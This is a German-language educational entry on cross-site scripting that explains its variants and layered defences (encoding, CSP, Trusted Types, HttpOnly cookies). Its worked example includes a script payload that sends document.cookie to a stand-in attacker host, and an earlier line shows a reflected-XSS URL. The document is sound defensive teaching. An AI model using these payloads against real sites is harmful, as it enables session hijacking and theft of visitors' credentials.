XSS

XSS (Cross-Site-Scripting — das X ist ein historischer Tippfehler, der sich gehalten hat) ist ein Injektionsangriff, bei dem vom Angreifer kontrolliertes JavaScript im Browser eines Opfers im Kontext einer vertrauenswürdigen Website läuft. Drei Varianten:

• Reflektiertes XSS — der Angreifer baut eine URL mit JavaScript; das Opfer klickt; die Website gibt den URL-Parameter unmaskiert zurück, und das Skript läuft. Beispiel: ?search=<script>evil()</script>.
• Gespeichertes XSS — der Angreifer übermittelt bösartige Inhalte (einen Kommentar, eine Profilbiografie), die die Website speichert und später unmaskiert anderen Nutzern rendert. Schlimmer als reflektiert, weil es für jeden Besucher automatisch auslöst.
• DOM-basiertes XSS — das Skript läuft rein auf dem Client, der bösartige Inhalt berührt nie den Server. Oft über document.write, innerHTML oder den unsicheren Umgang mit URL-Fragmenten.

Abwehr: kontextabhängige Ausgabekodierung (HTML-Maskierung beim Rendern, JS-Maskierung in Skriptblöcken, URL-Kodierung für href). Content-Security-Policy-Header (CSP) als Verteidigung in der Tiefe. Template-Engines, die automatisch maskieren (Jinja, ERB, React JSX), eliminieren standardmäßig das meiste reflektierte und gespeicherte XSS.

XSS bleibt in den OWASP Top 10 — nicht weil die Behebung schwer ist, sondern weil sich die automatische Maskierung leicht mit Escape-Luken im Stil von dangerouslySetInnerHTML umgehen lässt und eine einzige vergessene Stelle die gesamte Abwehr ruiniert.

Die Kontextabhängigkeit, die niemand respektiert: HTML-Maskierung (< für <) ist korrekt, um Nutzerinhalte in HTML-Fließtext einzufügen. Überall sonst ist sie falsch. Innerhalb eines <script>-Blocks brauchen Sie JavaScript-String-Maskierung. Innerhalb eines href=-Attributs brauchen Sie URL-Kodierung plus eine Sperre des javascript:-Schemas. Innerhalb eines CSS-style= brauchen Sie eine andere Maskierung, die CSS-Ausdrücke entfernt. Innerhalb eines Event-Handler-Attributs (onclick=) brauchen Sie HTML- und JS-Maskierung verschachtelt. Template-Engines, die „einfach alles HTML-maskieren“, übergehen still Attribut-, URL- und Event-Handler-Kontexte — DOMPurify oder eine kontextbewusste Bibliothek deckt den vollen Satz ab.

Trusted Types — die von Chrome geführte moderne Abwehr: Trusted Types (W3C Working Draft, in Chrome seit 83 ausgeliefert) ist eine Browser-API, die rohe Zeichenketten in Injektionssenken wie innerHTML, document.write oder setAttribute ablehnt. Code muss einen Wert entweder explizit über einen Sanitizer als „trusted“ markieren, oder die Zuweisung wirft einen TypeError. Aktiviert über Content-Security-Policy: require-trusted-types-for 'script', macht dies jede potenzielle XSS-Senke faktisch zu einem Fehler zur Übersetzungszeit statt zu einer Laufzeit-Schwachstelle. Die Verbreitung ist noch allmählich, doch die Sicherheitsentwicklung neuer Web-Frameworks geht klar in Richtung Trusted-Types-Kompatibilität. Quelle: OWASP — Cross-site Scripting (XSS).

Durchgerechnetes Beispiel

Ein Blog nimmt einen Kommentar an und rendert <div>{comment}</div> serverseitig ohne Maskierung. Der Angreifer übermittelt <script>fetch('https://evil.example/steal?c='+document.cookie)</script>. Jeder weitere Besucher lädt die Seite, das Skript läuft im Ursprung des Blogs, und ihr Sitzungscookie wird abgezogen. Abwehr in drei Schichten: (1) Den Kommentar beim Rendern HTML-maskieren, sodass < zu < wird — das Skript wird als wörtlicher Text dargestellt. (2) Das Cookie mit HttpOnly; Secure; SameSite=Strict setzen, sodass es selbst bei erfolgreichem XSS nicht aus JavaScript erreichbar ist. (3) Eine strikte CSP ausrollen: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m'; object-src 'none'; base-uri 'none' — Inline-Skripte ohne passende Nonce werden blockiert, sodass ein eingeschleustes <script>-Tag selbst bei fehlgeschlagener Maskierung nicht ausgeführt werden kann. Verteidigung in der Tiefe: jede einzelne Schicht hätte den Angriff gestoppt; zusammen machen sie diese Fehlerklasse nahezu ausgestorben.

Wann und warum es zählt

XSS ist die Arbeitspferd-Schwachstelle des Anmeldedaten-Diebstahls, der Sitzungsübernahme und der Ein-Klick-Übernahme. Die British-Airways-Datenpanne von 2018 (380.000 abgezogene Kartendaten), die Ticketmaster-Panne von 2018 und die langlaufende Magecart-Serie begannen allesamt als XSS- oder Supply-Chain-Skript-Injektionsvarianten. Die gute Nachricht ist, dass moderne Frameworks (React, Vue, Angular, Svelte) interpolierte Werte standardmäßig automatisch maskieren — die Fehlerklasse ist in neuem Code weit seltener als noch vor einem Jahrzehnt. Die schlechte Nachricht ist, dass jedes Framework eine Escape-Luke bietet (dangerouslySetInnerHTML, v-html, [innerHTML], {@html ...}), zu der ein müder Entwickler unweigerlich greift, oft um vom CMS verfasste Inhalte oder Drittanbieter-Widgets einzubinden. Das defensive Spielbuch: CSP mit Nonces oder Hashes aktivieren, HttpOnly auf Sitzungscookies setzen, DOMPurify für jeden Fall verwenden, in dem Sie HTML annehmen müssen, und grep-Ergebnisse zur PR-Zeit nach den Escape-Luken-APIs des Frameworks prüfen. Quelle: OWASP XSS Prevention Cheat Sheet.